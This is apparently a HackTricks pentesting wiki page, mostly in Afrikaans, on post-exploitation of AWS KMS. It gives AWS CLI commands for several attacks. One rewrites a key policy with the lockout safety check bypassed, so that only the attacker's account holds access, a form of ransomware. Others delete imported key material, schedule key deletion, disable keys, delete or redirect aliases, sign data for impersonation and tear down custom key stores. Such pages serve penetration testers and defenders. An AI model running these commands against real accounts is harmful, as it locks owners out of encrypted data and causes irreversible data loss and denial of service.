# AWS - KMS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## KMS

For more information check:

{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}

### Encrypt/Decrypt information

`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:

- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekslêers.
- `file://:` Lees die lêer in teksmodus, tipies gebruik vir platte tekslêers, skripte, of JSON wat nie spesiale koderingvereistes het nie.

> [!TIP]
> Let wel: as jy data in 'n lêer wil decrypt, moet die lêer die binêre data bevat, nie base64-gekodeerde data nie. (fileb://)

- Gebruik van 'n **symmetric** sleutel
```bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
```
- Gebruik 'n **asymmetriese** sleutel:
```bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
```
### KMS Ransomware

'n Aanvaller met bevoorregte toegang tot KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang tot hulle gee**, en die toegang wat aan die regmatige rekening verleen is verwyder.

Dan sal die gebruikers van die regmatige rekening nie toegang hê tot enige inligting van enige diens wat met daardie sleutels geïnkripteer is nie, wat 'n eenvoudige maar effektiewe ransomware oor die rekening skep.

> [!WARNING]
> Let wel dat **AWS managed keys nie deur hierdie aanval geraak word nie**, slegs **Customer managed keys**.

> Let ook op die behoefte om die parameter **`--bypass-policy-lockout-safety-check`** te gebruik (die afwesigheid van hierdie opsie in die web-konsol maak hierdie aanval slegs moontlik vanaf die CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
> [!CAUTION]
> Neem kennis dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan vanaf daardie eksterne rekening probeer om 'n nuwe beleid te stel om **gee die toegang terug aan die oorspronklike rekening, sal jy nie in staat wees nie omdat die Put Polocy action cannot be performed from a cross account**.

<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>

### Generic KMS Ransomware

Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe sal behels:

- Skep 'n nuwe **sleutel met sleutelmateriaal** wat deur die aanvaller ingevoer is
- **Her-enkripteer ouer data** van die slagoffer wat met die vorige weergawe versleutel is, met die nuwe een.
- **Verwyder die KMS key**
- Nou kan slegs die aanvaller, wat die oorspronklike sleutelmateriaal het, die enkripteerde data kan dekripteer

### Delete Keys via kms:DeleteImportedKeyMaterial

Met die `kms:DeleteImportedKeyMaterial` toestemming kan 'n akteur die ingevoerde sleutelmateriaal uit CMKs met `Origin=EXTERNAL` verwyder (CMKs wat hul sleutelmateriaal ingevoer het), waardeur die CMKs nie in staat sal wees om data te dekripteer nie. Hierdie aksie is vernietigend en onomkeerbaar tensy geskikte materiaal weer ingevoer word, wat 'n aanvaller effektief in staat stel om ransomware-agtige dataverlies te veroorsaak deur enkripteerde inligting permanent ontoeganklik te maak.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Vernietig sleutels

Deur sleutels te vernietig is dit moontlik om 'n DoS uit te voer.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> Neem kennis dat AWS nou **voorkom dat die vorige aksies vanaf ’n kruis-rekening uitgevoer word:** 

### Verander of verwyder Alias
Hierdie aanval verwyder of herlei AWS KMS aliases, breek sleuteloplossing en veroorsaak onmiddelike mislukkings in enige dienste wat op daardie aliases staatmaak, wat lei tot 'n denial-of-service. Met toestemmings soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliases verwyder of herlei en kriptografiese operasies ontwrig (e.g., encrypt, describe). Enige diens wat na die alias verwys in plaas van na die sleutel-ID kan misluk totdat die alias herstel of korrek herkaarteer is.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n akteur 'n geskeduleerde verwydering van 'n AWS KMS customer master key kanselleer en dit later weer heraktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel die vermoë daarvan om voorheen beskermde data te ontsleutel, wat exfiltration moontlik maak.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Deaktiveer Sleutel
Met die `kms:DisableKey` toestemming kan 'n akteur 'n AWS KMS customer master key deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit verbreek toegang vir enige dienste wat op daardie CMK staatmaak en kan onmiddelike ontwrigtinge of 'n denial-of-service veroorsaak totdat die sleutel weer geaktiveer word.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Aflei gedeelde geheim
Met die `kms:DeriveSharedSecret` toestemming kan 'n actor 'n deur KMS gehoude private key plus 'n user-supplied public key gebruik om 'n ECDH shared secret te bereken.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
Met die `kms:Sign`-toestemming kan 'n akteur 'n KMS-gestoorde CMK gebruik om data kriptografies te teken sonder om die private key bloot te stel, wat geldige handtekeninge produseer wat impersonation kan moontlik maak of kwaadwillige aksies kan magtig.
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore`, kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, waardoor sy meestersleutels onbruikbaar raak. Dit breek enkripsie-, dekripsie- en ondertekeningsoperasies vir enige dienste wat op daardie sleutels staatmaak en kan 'n onmiddellike denial-of-service veroorsaak. Dit is daarom kritiek om daardie toestemmings te beperk en te monitor.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

{{#include ../../../../banners/hacktricks-training.md}}
